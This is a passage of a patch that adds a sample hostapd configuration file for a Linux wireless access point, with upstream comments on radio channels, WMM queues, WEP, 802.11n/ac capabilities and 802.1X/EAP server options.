-+# directory to allow only members of a group to use sockets. This way, it is
-+# possible to run hostapd as root (since it needs to change network
-+# configuration and open raw sockets) and still allow GUI/CLI components to be
-+# run as non-root users. However, since the control interface can be used to
-+# change the network configuration, this access needs to be protected in many
-+# cases. By default, hostapd is configured to use gid 0 (root). If you
-+# want to allow non-root users to use the contron interface, add a new group
-+# and change this value to match with that group. Add users that should have
-+# control interface access to this group.
-+#
-+# This variable can be a group name or gid.
-+#ctrl_interface_group=wheel
-+ctrl_interface_group=0
-+
-+
-+##### IEEE 802.11 related configuration #######################################
-+
-+# SSID to be used in IEEE 802.11 management frames
-+#ssid=test
-+# Alternative formats for configuring SSID
-+# (double quoted string, hexdump, printf-escaped string)
-+#ssid2="test"
-+#ssid2=74657374
-+#ssid2=P"hello\nthere"
-+
-+# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding
-+#utf8_ssid=1
-+
-+# Country code (ISO/IEC 3166-1). Used to set regulatory domain.
-+# Set as needed to indicate country in which device is operating.
-+# This can limit available channels and transmit power.
-+#country_code=US
-+
-+# Enable IEEE 802.11d. This advertises the country_code and the set of allowed
-+# channels and transmit power levels based on the regulatory limits. The
-+# country_code setting must be configured with the correct country for
-+# IEEE 802.11d functions.
-+# (default: 0 = disabled)
-+#ieee80211d=1
-+
-+# Enable IEEE 802.11h. This enables radar detection and DFS support if
-+# available. DFS support is required on outdoor 5 GHz channels in most countries
-+# of the world. This can be used only with ieee80211d=1.
-+# (default: 0 = disabled)
-+#ieee80211h=1
-+
-+# Add Power Constraint element to Beacon and Probe Response frames
-+# This config option adds Power Constraint element when applicable and Country
-+# element is added. Power Constraint element is required by Transmit Power
-+# Control. This can be used only with ieee80211d=1.
-+# Valid values are 0..255.
-+#local_pwr_constraint=3
-+
-+# Set Spectrum Management subfield in the Capability Information field.
-+# This config option forces the Spectrum Management bit to be set. When this
-+# option is not set, the value of the Spectrum Management bit depends on whether
-+# DFS or TPC is required by regulatory authorities. This can be used only with
-+# ieee80211d=1 and local_pwr_constraint configured.
-+#spectrum_mgmt_required=1
-+
-+# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),
-+# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used
-+# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this
-+# needs to be set to hw_mode=a. When using ACS (see channel parameter), a
-+# special value "any" can be used to indicate that any support band can be used.
-+# This special case is currently supported only with drivers with which
-+# offloaded ACS is used.
-+# Default: IEEE 802.11b
-+hw_mode=g
-+
-+# Channel number (IEEE 802.11)
-+# (default: 0, i.e., not set)
-+# Please note that some drivers do not use this value from hostapd and the
-+# channel will need to be configured separately with iwconfig.
-+#
-+# If CONFIG_ACS build option is enabled, the channel can be selected
-+# automatically at run time by setting channel=acs_survey or channel=0, both of
-+# which will enable the ACS survey based algorithm.
-+#channel=1
-+
-+# ACS tuning - Automatic Channel Selection
-+# See: http://wireless.kernel.org/en/users/Documentation/acs
-+#
-+# You can customize the ACS survey algorithm with following variables:
-+#
-+# acs_num_scans requirement is 1..100 - number of scans to be performed that
-+# are used to trigger survey data gathering of an underlying device driver.
-+# Scans are passive and typically take a little over 100ms (depending on the
-+# driver) on each available channel for given hw_mode. Increasing this value
-+# means sacrificing startup time and gathering more data wrt channel
-+# interference that may help choosing a better channel. This can also help fine
-+# tune the ACS scan time in case a driver has different scan dwell times.
-+#
-+# acs_chan_bias is a space-separated list of <channel>:<bias> pairs. It can be
-+# used to increase (or decrease) the likelihood of a specific channel to be
-+# selected by the ACS algorithm. The total interference factor for each channel
-+# gets multiplied by the specified bias value before finding the channel with
-+# the lowest value. In other words, values between 0.0 and 1.0 can be used to
-+# make a channel more likely to be picked while values larger than 1.0 make the
-+# specified channel less likely to be picked. This can be used, e.g., to prefer
-+# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default
-+# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified).
-+#
-+# Defaults:
-+#acs_num_scans=5
-+#acs_chan_bias=1:0.8 6:0.8 11:0.8
-+
-+# Channel list restriction. This option allows hostapd to select one of the
-+# provided channels when a channel should be automatically selected.
-+# Channel list can be provided as range using hyphen ('-') or individual
-+# channels can be specified by space (' ') separated values
-+# Default: all channels allowed in selected hw_mode
-+#chanlist=100 104 108 112 116
-+#chanlist=1 6 11-13
-+
-+# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
-+beacon_int=100
-+
-+# DTIM (delivery traffic information message) period (range 1..255):
-+# number of beacons between DTIMs (1 = every beacon includes DTIM element)
-+# (default: 2)
-+dtim_period=2
-+
-+# Maximum number of stations allowed in station table. New stations will be
-+# rejected after the station table is full. IEEE 802.11 has a limit of 2007
-+# different association IDs, so this number should not be larger than that.
-+# (default: 2007)
-+max_num_sta=255
-+
-+# RTS/CTS threshold; -1 = disabled (default); range -1..65535
-+# If this field is not included in hostapd.conf, hostapd will not control
-+# RTS threshold and 'iwconfig wlan# rts <val>' can be used to set it.
-+rts_threshold=-1
-+
-+# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346
-+# If this field is not included in hostapd.conf, hostapd will not control
-+# fragmentation threshold and 'iwconfig wlan# frag <val>' can be used to set
-+# it.
-+fragm_threshold=-1
-+
-+# Rate configuration
-+# Default is to enable all rates supported by the hardware. This configuration
-+# item allows this list be filtered so that only the listed rates will be left
-+# in the list. If the list is empty, all rates are used. This list can have
-+# entries that are not in the list of rates the hardware supports (such entries
-+# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110.
-+# If this item is present, at least one rate have to be matching with the rates
-+# hardware supports.
-+# default: use the most common supported rate setting for the selected
-+# hw_mode (i.e., this line can be removed from configuration file in most
-+# cases)
-+#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540
-+
-+# Basic rate set configuration
-+# List of rates (in 100 kbps) that are included in the basic rate set.
-+# If this item is not included, usually reasonable default set is used.
-+#basic_rates=10 20
-+#basic_rates=10 20 55 110
-+#basic_rates=60 120 240
-+
-+# Short Preamble
-+# This parameter can be used to enable optional use of short preamble for
-+# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance.
-+# This applies only to IEEE 802.11b-compatible networks and this should only be
-+# enabled if the local hardware supports use of short preamble. If any of the
-+# associated STAs do not support short preamble, use of short preamble will be
-+# disabled (and enabled when such STAs disassociate) dynamically.
-+# 0 = do not allow use of short preamble (default)
-+# 1 = allow use of short preamble
-+#preamble=1
-+
-+# Station MAC address -based authentication
-+# Please note that this kind of access control requires a driver that uses
-+# hostapd to take care of management frame processing and as such, this can be
-+# used with driver=hostap or driver=nl80211, but not with driver=atheros.
-+# 0 = accept unless in deny list
-+# 1 = deny unless in accept list
-+# 2 = use external RADIUS server (accept/deny lists are searched first)
-+macaddr_acl=0
-+
-+# Accept/deny lists are read from separate files (containing list of
-+# MAC addresses, one per line). Use absolute path name to make sure that the
-+# files can be read on SIGHUP configuration reloads.
-+#accept_mac_file=/etc/hostapd.accept
-+#deny_mac_file=/etc/hostapd.deny
-+
-+# IEEE 802.11 specifies two authentication algorithms. hostapd can be
-+# configured to allow both of these or only one. Open system authentication
-+# should be used with IEEE 802.1X.
-+# Bit fields of allowed authentication algorithms:
-+# bit 0 = Open System Authentication
-+# bit 1 = Shared Key Authentication (requires WEP)
-+auth_algs=3
-+
-+# Send empty SSID in beacons and ignore probe request frames that do not
-+# specify full SSID, i.e., require stations to know SSID.
-+# default: disabled (0)
-+# 1 = send empty (length=0) SSID in beacon and ignore probe request for
-+#     broadcast SSID
-+# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
-+#     with some clients that do not support empty SSID) and ignore probe
-+#     requests for broadcast SSID
-+ignore_broadcast_ssid=0
-+
-+# Do not reply to broadcast Probe Request frames from unassociated STA if there
-+# is no room for additional stations (max_num_sta). This can be used to
-+# discourage a STA from trying to associate with this AP if the association
-+# would be rejected due to maximum STA limit.
-+# Default: 0 (disabled)
-+#no_probe_resp_if_max_sta=0
-+
-+# Additional vendor specific elements for Beacon and Probe Response frames
-+# This parameter can be used to add additional vendor specific element(s) into
-+# the end of the Beacon and Probe Response frames. The format for these
-+# element(s) is a hexdump of the raw information elements (id+len+payload for
-+# one or more elements)
-+#vendor_elements=dd0411223301
-+
-+# Additional vendor specific elements for (Re)Association Response frames
-+# This parameter can be used to add additional vendor specific element(s) into
-+# the end of the (Re)Association Response frames. The format for these
-+# element(s) is a hexdump of the raw information elements (id+len+payload for
-+# one or more elements)
-+#assocresp_elements=dd0411223301
-+
-+# TX queue parameters (EDCF / bursting)
-+# tx_queue_<queue name>_<param>
-+# queues: data0, data1, data2, data3, after_beacon, beacon
-+#		(data0 is the highest priority queue)
-+# parameters:
-+#   aifs: AIFS (default 2)
-+#   cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191,
-+#	   16383, 32767)
-+#   cwmax: cwMax (same values as cwMin, cwMax >= cwMin)
-+#   burst: maximum length (in milliseconds with precision of up to 0.1 ms) for
-+#          bursting
-+#
-+# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
-+# These parameters are used by the access point when transmitting frames
-+# to the clients.
-+#
-+# Low priority / AC_BK = background
-+#tx_queue_data3_aifs=7
-+#tx_queue_data3_cwmin=15
-+#tx_queue_data3_cwmax=1023
-+#tx_queue_data3_burst=0
-+# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0
-+#
-+# Normal priority / AC_BE = best effort
-+#tx_queue_data2_aifs=3
-+#tx_queue_data2_cwmin=15
-+#tx_queue_data2_cwmax=63
-+#tx_queue_data2_burst=0
-+# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0
-+#
-+# High priority / AC_VI = video
-+#tx_queue_data1_aifs=1
-+#tx_queue_data1_cwmin=7
-+#tx_queue_data1_cwmax=15
-+#tx_queue_data1_burst=3.0
-+# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0
-+#
-+# Highest priority / AC_VO = voice
-+#tx_queue_data0_aifs=1
-+#tx_queue_data0_cwmin=3
-+#tx_queue_data0_cwmax=7
-+#tx_queue_data0_burst=1.5
-+# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3
-+
-+# 802.1D Tag (= UP) to AC mappings
-+# WMM specifies following mapping of data frames to different ACs. This mapping
-+# can be configured using Linux QoS/tc and sch_pktpri.o module.
-+# 802.1D Tag	802.1D Designation	Access Category	WMM Designation
-+# 1		BK			AC_BK		Background
-+# 2		-			AC_BK		Background
-+# 0		BE			AC_BE		Best Effort
-+# 3		EE			AC_BE		Best Effort
-+# 4		CL			AC_VI		Video
-+# 5		VI			AC_VI		Video
-+# 6		VO			AC_VO		Voice
-+# 7		NC			AC_VO		Voice
-+# Data frames with no priority information: AC_BE
-+# Management frames: AC_VO
-+# PS-Poll frames: AC_BE
-+
-+# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
-+# for 802.11a or 802.11g networks
-+# These parameters are sent to WMM clients when they associate.
-+# The parameters will be used by WMM clients for frames transmitted to the
-+# access point.
-+#
-+# note - txop_limit is in units of 32microseconds
-+# note - acm is admission control mandatory flag. 0 = admission control not
-+# required, 1 = mandatory
-+# note - Here cwMin and cmMax are in exponent form. The actual cw value used
-+# will be (2^n)-1 where n is the value given here. The allowed range for these
-+# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin.
-+#
-+wmm_enabled=1
-+#
-+# WMM-PS Unscheduled Automatic Power Save Delivery U-APSD
-+# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver)
-+#uapsd_advertisement_enabled=1
-+#
-+# Low priority / AC_BK = background
-+wmm_ac_bk_cwmin=4
-+wmm_ac_bk_cwmax=10
-+wmm_ac_bk_aifs=7
-+wmm_ac_bk_txop_limit=0
-+wmm_ac_bk_acm=0
-+# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10
-+#
-+# Normal priority / AC_BE = best effort
-+wmm_ac_be_aifs=3
-+wmm_ac_be_cwmin=4
-+wmm_ac_be_cwmax=10
-+wmm_ac_be_txop_limit=0
-+wmm_ac_be_acm=0
-+# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7
-+#
-+# High priority / AC_VI = video
-+wmm_ac_vi_aifs=2
-+wmm_ac_vi_cwmin=3
-+wmm_ac_vi_cwmax=4
-+wmm_ac_vi_txop_limit=94
-+wmm_ac_vi_acm=0
-+# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188
-+#
-+# Highest priority / AC_VO = voice
-+wmm_ac_vo_aifs=2
-+wmm_ac_vo_cwmin=2
-+wmm_ac_vo_cwmax=3
-+wmm_ac_vo_txop_limit=47
-+wmm_ac_vo_acm=0
-+# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102
-+
-+# Static WEP key configuration
-+#
-+# The key number to use when transmitting.
-+# It must be between 0 and 3, and the corresponding key must be set.
-+# default: not set
-+#wep_default_key=0
-+# The WEP keys to use.
-+# A key may be a quoted string or unquoted hexadecimal digits.
-+# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
-+# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
-+# 128-bit (152-bit) WEP is used.
-+# Only the default key must be supplied; the others are optional.
-+# default: not set
-+#wep_key0=123456789a
-+#wep_key1="vwxyz"
-+#wep_key2=0102030405060708090a0b0c0d
-+#wep_key3=".2.4.6.8.0.23"
-+
-+# Station inactivity limit
-+#
-+# If a station does not send anything in ap_max_inactivity seconds, an
-+# empty data frame is sent to it in order to verify whether it is
-+# still in range. If this frame is not ACKed, the station will be
-+# disassociated and then deauthenticated. This feature is used to
-+# clear station table of old entries when the STAs move out of the
-+# range.
-+#
-+# The station can associate again with the AP if it is still in range;
-+# this inactivity poll is just used as a nicer way of verifying
-+# inactivity; i.e., client will not report broken connection because
-+# disassociation frame is not sent immediately without first polling
-+# the STA with a data frame.
-+# default: 300 (i.e., 5 minutes)
-+#ap_max_inactivity=300
-+#
-+# The inactivity polling can be disabled to disconnect stations based on
-+# inactivity timeout so that idle stations are more likely to be disconnected
-+# even if they are still in range of the AP. This can be done by setting
-+# skip_inactivity_poll to 1 (default 0).
-+#skip_inactivity_poll=0
-+
-+# Disassociate stations based on excessive transmission failures or other
-+# indications of connection loss. This depends on the driver capabilities and
-+# may not be available with all drivers.
-+#disassoc_low_ack=1
-+
-+# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to
-+# remain asleep). Default: 65535 (no limit apart from field size)
-+#max_listen_interval=100
-+
-+# WDS (4-address frame) mode with per-station virtual interfaces
-+# (only supported with driver=nl80211)
-+# This mode allows associated stations to use 4-address frames to allow layer 2
-+# bridging to be used.
-+#wds_sta=1
-+
-+# If bridge parameter is set, the WDS STA interface will be added to the same
-+# bridge by default. This can be overridden with the wds_bridge parameter to
-+# use a separate bridge.
-+#wds_bridge=wds-br0
-+
-+# Start the AP with beaconing disabled by default.
-+#start_disabled=0
-+
-+# Client isolation can be used to prevent low-level bridging of frames between
-+# associated stations in the BSS. By default, this bridging is allowed.
-+#ap_isolate=1
-+
-+# BSS Load update period (in BUs)
-+# This field is used to enable and configure adding a BSS Load element into
-+# Beacon and Probe Response frames.
-+#bss_load_update_period=50
-+
-+# Fixed BSS Load value for testing purposes
-+# This field can be used to configure hostapd to add a fixed BSS Load element
-+# into Beacon and Probe Response frames for testing purposes. The format is
-+# <station count>:<channel utilization>:<available admission capacity>
-+#bss_load_test=12:80:20000
-+
-+##### IEEE 802.11n related configuration ######################################
-+
-+# ieee80211n: Whether IEEE 802.11n (HT) is enabled
-+# 0 = disabled (default)
-+# 1 = enabled
-+# Note: You will also need to enable WMM for full HT functionality.
-+# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band.
-+#ieee80211n=1
-+
-+# ht_capab: HT capabilities (list of flags)
-+# LDPC coding capability: LDPC = supported
-+# Supported channel width set: HT40- = both 20 MHz and 40 MHz with secondary
-+#	channel below the primary channel; HT40+ = both 20 MHz and 40 MHz
-+#	with secondary channel above the primary channel
-+#	(20 MHz only if neither is set)
-+#	Note: There are limits on which channels can be used with HT40- and
-+#	HT40+. Following table shows the channels that may be available for
-+#	HT40- and HT40+ use per IEEE 802.11n Annex J:
-+#	freq		HT40-		HT40+
-+#	2.4 GHz		5-13		1-7 (1-9 in Europe/Japan)
-+#	5 GHz		40,48,56,64	36,44,52,60
-+#	(depending on the location, not all of these channels may be available
-+#	for use)
-+#	Please note that 40 MHz channels may switch their primary and secondary
-+#	channels if needed or creation of 40 MHz channel maybe rejected based
-+#	on overlapping BSSes. These changes are done automatically when hostapd
-+#	is setting up the 40 MHz channel.
-+# Spatial Multiplexing (SM) Power Save: SMPS-STATIC or SMPS-DYNAMIC
-+#	(SMPS disabled if neither is set)
-+# HT-greenfield: GF (disabled if not set)
-+# Short GI for 20 MHz: SHORT-GI-20 (disabled if not set)
-+# Short GI for 40 MHz: SHORT-GI-40 (disabled if not set)
-+# Tx STBC: TX-STBC (disabled if not set)
-+# Rx STBC: RX-STBC1 (one spatial stream), RX-STBC12 (one or two spatial
-+#	streams), or RX-STBC123 (one, two, or three spatial streams); Rx STBC
-+#	disabled if none of these set
-+# HT-delayed Block Ack: DELAYED-BA (disabled if not set)
-+# Maximum A-MSDU length: MAX-AMSDU-7935 for 7935 octets (3839 octets if not
-+#	set)
-+# DSSS/CCK Mode in 40 MHz: DSSS_CCK-40 = allowed (not allowed if not set)
-+# 40 MHz intolerant 40-INTOLERANT (not advertised if not set)
-+# L-SIG TXOP protection support: LSIG-TXOP-PROT (disabled if not set)
-+#ht_capab=HT40-SHORT-GI-20SHORT-GI-40
-+
-+# Require stations to support HT PHY (reject association if they do not)
-+#require_ht=1
-+
-+# If set non-zero, require stations to perform scans of overlapping
-+# channels to test for stations which would be affected by 40 MHz traffic.
-+# This parameter sets the interval in seconds between these scans. Setting this
-+# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if
-+# no co-existence issues with neighboring devices are found.
-+#obss_interval=0
-+
-+##### IEEE 802.11ac related configuration #####################################
-+
-+# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled
-+# 0 = disabled (default)
-+# 1 = enabled
-+# Note: You will also need to enable WMM for full VHT functionality.
-+# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT.
-+#ieee80211ac=1
-+
-+# vht_capab: VHT capabilities (list of flags)
-+#
-+# vht_max_mpdu_len: MAX-MPDU-7991 MAX-MPDU-11454
-+# Indicates maximum MPDU length
-+# 0 = 3895 octets (default)
-+# 1 = 7991 octets
-+# 2 = 11454 octets
-+# 3 = reserved
-+#
-+# supported_chan_width: VHT160 VHT160-80PLUS80
-+# Indicates supported Channel widths
-+# 0 = 160 MHz & 80+80 channel widths are not supported (default)
-+# 1 = 160 MHz channel width is supported
-+# 2 = 160 MHz & 80+80 channel widths are supported
-+# 3 = reserved
-+#
-+# Rx LDPC coding capability: RXLDPC
-+# Indicates support for receiving LDPC coded pkts
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# Short GI for 80 MHz: SHORT-GI-80
-+# Indicates short GI support for reception of packets transmitted with TXVECTOR
-+# params format equal to VHT and CBW = 80Mhz
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# Short GI for 160 MHz: SHORT-GI-160
-+# Indicates short GI support for reception of packets transmitted with TXVECTOR
-+# params format equal to VHT and CBW = 160Mhz
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# Tx STBC: TX-STBC-2BY1
-+# Indicates support for the transmission of at least 2x1 STBC
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# Rx STBC: RX-STBC-1 RX-STBC-12 RX-STBC-123 RX-STBC-1234
-+# Indicates support for the reception of PPDUs using STBC
-+# 0 = Not supported (default)
-+# 1 = support of one spatial stream
-+# 2 = support of one and two spatial streams
-+# 3 = support of one, two and three spatial streams
-+# 4 = support of one, two, three and four spatial streams
-+# 5,6,7 = reserved
-+#
-+# SU Beamformer Capable: SU-BEAMFORMER
-+# Indicates support for operation as a single user beamformer
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# SU Beamformee Capable: SU-BEAMFORMEE
-+# Indicates support for operation as a single user beamformee
-+# 0 = Not supported (default)
-+# 1 = Supported
-+#
-+# Compressed Steering Number of Beamformer Antennas Supported:
-+# BF-ANTENNA-2 BF-ANTENNA-3 BF-ANTENNA-4
-+#   Beamformee's capability indicating the maximum number of beamformer
-+#   antennas the beamformee can support when sending compressed beamforming
-+#   feedback
-+# If SU beamformer capable, set to maximum value minus 1
-+# else reserved (default)
-+#
-+# Number of Sounding Dimensions:
-+# SOUNDING-DIMENSION-2 SOUNDING-DIMENSION-3 SOUNDING-DIMENSION-4
-+# Beamformer's capability indicating the maximum value of the NUM_STS parameter
-+# in the TXVECTOR of a VHT NDP
-+# If SU beamformer capable, set to maximum value minus 1
-+# else reserved (default)
-+#
-+# MU Beamformer Capable: MU-BEAMFORMER
-+# Indicates support for operation as an MU beamformer
-+# 0 = Not supported or sent by Non-AP STA (default)
-+# 1 = Supported
-+#
-+# VHT TXOP PS: VHT-TXOP-PS
-+# Indicates whether or not the AP supports VHT TXOP Power Save Mode
-+#  or whether or not the STA is in VHT TXOP Power Save mode
-+# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS
-+#  mode
-+# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save
-+#  mode
-+#
-+# +HTC-VHT Capable: HTC-VHT
-+# Indicates whether or not the STA supports receiving a VHT variant HT Control
-+# field.
-+# 0 = Not supported (default)
-+# 1 = supported
-+#
-+# Maximum A-MPDU Length Exponent: MAX-A-MPDU-LEN-EXP0..MAX-A-MPDU-LEN-EXP7
-+# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv
-+# This field is an integer in the range of 0 to 7.
-+# The length defined by this field is equal to
-+# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets
-+#
-+# VHT Link Adaptation Capable: VHT-LINK-ADAPT2 VHT-LINK-ADAPT3
-+# Indicates whether or not the STA supports link adaptation using VHT variant
-+# HT Control field
-+# If +HTC-VHTcapable is 1
-+#  0 = (no feedback) if the STA does not provide VHT MFB (default)
-+#  1 = reserved
-+#  2 = (Unsolicited) if the STA provides only unsolicited VHT MFB
-+#  3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the
-+#      STA provides unsolicited VHT MFB
-+# Reserved if +HTC-VHTcapable is 0
-+#
-+# Rx Antenna Pattern Consistency: RX-ANTENNA-PATTERN
-+# Indicates the possibility of Rx antenna pattern change
-+# 0 = Rx antenna pattern might change during the lifetime of an association
-+# 1 = Rx antenna pattern does not change during the lifetime of an association
-+#
-+# Tx Antenna Pattern Consistency: TX-ANTENNA-PATTERN
-+# Indicates the possibility of Tx antenna pattern change
-+# 0 = Tx antenna pattern might change during the lifetime of an association
-+# 1 = Tx antenna pattern does not change during the lifetime of an association
-+#vht_capab=SHORT-GI-80HTC-VHT
-+#
-+# Require stations to support VHT PHY (reject association if they do not)
-+#require_vht=1
-+
-+# 0 = 20 or 40 MHz operating Channel width
-+# 1 = 80 MHz channel width
-+# 2 = 160 MHz channel width
-+# 3 = 80+80 MHz channel width
-+#vht_oper_chwidth=1
-+#
-+# center freq = 5 GHz + (5 * index)
-+# So index 42 gives center freq 5.210 GHz
-+# which is channel 42 in 5G band
-+#
-+#vht_oper_centr_freq_seg0_idx=42
-+#
-+# center freq = 5 GHz + (5 * index)
-+# So index 159 gives center freq 5.795 GHz
-+# which is channel 159 in 5G band
-+#
-+#vht_oper_centr_freq_seg1_idx=159
-+
-+# Workaround to use station's nsts capability in (Re)Association Response frame
-+# This may be needed with some deployed devices as an interoperability
-+# workaround for beamforming if the AP's capability is greater than the
-+# station's capability. This is disabled by default and can be enabled by
-+# setting use_sta_nsts=1.
-+#use_sta_nsts=0
-+
-+##### IEEE 802.1X-2004 related configuration ##################################
-+
-+# Require IEEE 802.1X authorization
-+#ieee8021x=1
-+
-+# IEEE 802.1X/EAPOL version
-+# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
-+# version 2. However, there are many client implementations that do not handle
-+# the new version number correctly (they seem to drop the frames completely).
-+# In order to make hostapd interoperate with these clients, the version number
-+# can be set to the older version (1) with this configuration value.
-+#eapol_version=2
-+
-+# Optional displayable message sent with EAP Request-Identity. The first \0
-+# in this string will be converted to ASCII-0 (nul). This can be used to
-+# separate network info (comma separated list of attribute=value pairs); see,
-+# e.g., RFC 4284.
-+#eap_message=hello
-+#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com
-+
-+# WEP rekeying (disabled if key lengths are not set or are set to 0)
-+# Key lengths for default/broadcast and individual/unicast keys:
-+# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits)
-+# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits)
-+#wep_key_len_broadcast=5
-+#wep_key_len_unicast=5
-+# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once)
-+#wep_rekey_period=300
-+
-+# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if
-+# only broadcast keys are used)
-+eapol_key_index_workaround=0
-+
-+# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable
-+# reauthentication).
-+#eap_reauth_period=3600
-+
-+# Use PAE group address (01:80:c2:00:00:03) instead of individual target
-+# address when sending EAPOL frames with driver=wired. This is the most common
-+# mechanism used in wired authentication, but it also requires that the port
-+# is only used by one station.
-+#use_pae_group_addr=1
-+
-+# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696)
-+#
-+# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before
-+# EAP-Identity/Request
-+#erp_send_reauth_start=1
-+#
-+# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not
-+# set (no local ER server). This is also used by the integrated EAP server if
-+# ERP is enabled (eap_server_erp=1).
-+#erp_domain=example.com
-+
-+##### Integrated EAP server ###################################################
-+
-+# Optionally, hostapd can be configured to use an integrated EAP server
-+# to process EAP authentication locally without need for an external RADIUS
-+# server. This functionality can be used both as a local authentication server
-+# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices.
-+
-+# Use integrated EAP server instead of external RADIUS authentication
-+# server. This is also needed if hostapd is configured to act as a RADIUS
-+# authentication server.
-+#eap_server=0
-+
-+# Path for EAP server user database
-+# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db"
-+# to use SQLite database instead of a text file.
-+#eap_user_file=/etc/hostapd.eap_user
-+
-+# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
-+#ca_cert=/etc/hostapd.ca.pem
-+
-+# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
-+#server_cert=/etc/hostapd.server.pem
-+
-+# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
-+# This may point to the same file as server_cert if both certificate and key
-+# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be
-+# used by commenting out server_cert and specifying the PFX file as the
-+# private_key.
-+#private_key=/etc/hostapd.server.prv
-+
-+# Passphrase for private key
-+#private_key_passwd=secret passphrase
-+
-+# Server identity
-+# EAP methods that provide mechanism for authenticated server identity delivery
-+# use this value. If not set, "hostapd" is used as a default.
-+#server_id=server.example.com
-+
-+# Enable CRL verification.
-+# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
-+# valid CRL signed by the CA is required to be included in the ca_cert file.
-+# This can be done by using PEM format for CA certificate and CRL and
-+# concatenating these into one file. Whenever CRL changes, hostapd needs to be
-+# restarted to take the new CRL into use.
-+# 0 = do not verify CRLs (default)
-+# 1 = check the CRL of the user certificate
-+# 2 = check all CRLs in the certificate path
-+#check_crl=1
-+
-+# TLS Session Lifetime in seconds
-+# This can be used to allow TLS sessions to be cached and resumed with an
-+# abbreviated handshake when using EAP-TLS/TTLS/PEAP.
-+# (default: 0 = session caching and resumption disabled)
-+#tls_session_lifetime=3600
-+
-+# Cached OCSP stapling response (DER encoded)
-+# If set, this file is sent as a certificate status response by the EAP server
-+# if the EAP peer requests certificate status in the ClientHello message.
-+# This cache file can be updated, e.g., by running following command
-+# periodically to get an update from the OCSP responder:
-+# openssl ocsp \
-+#	-no_nonce \
-+#	-CAfile /etc/hostapd.ca.pem \
-+#	-issuer /etc/hostapd.ca.pem \
-+#	-cert /etc/hostapd.server.pem \
-+#	-url http://ocsp.example.com:8888/ \
-+#	-respout /tmp/ocsp-cache.der
-+#ocsp_stapling_response=/tmp/ocsp-cache.der
-+
-+# Cached OCSP stapling response list (DER encoded OCSPResponseList)
-+# This is similar to ocsp_stapling_response, but the extended version defined in
-+# RFC 6961 to allow multiple OCSP responses to be provided.
-+#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der
-+
-+# dh_file: File path to DH/DSA parameters file (in PEM format)
-+# This is an optional configuration file for setting parameters for an
-+# ephemeral DH key exchange. In most cases, the default RSA authentication does
-+# not use this configuration. However, it is possible setup RSA to use
-+# ephemeral DH key exchange. In addition, ciphers with DSA keys always use
-+# ephemeral DH keys. This can be used to achieve forward secrecy. If the file
-+# is in DSA parameters format, it will be automatically converted into DH
-+# params. This parameter is required if anonymous EAP-FAST is used.
-+# You can generate DH parameters file with OpenSSL, e.g.,
-+# "openssl dhparam -out /etc/hostapd.dh.pem 2048"
-+#dh_file=/etc/hostapd.dh.pem
-+
-+# OpenSSL cipher string
-+#
-+# This is an OpenSSL specific configuration option for configuring the default
-+# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default.
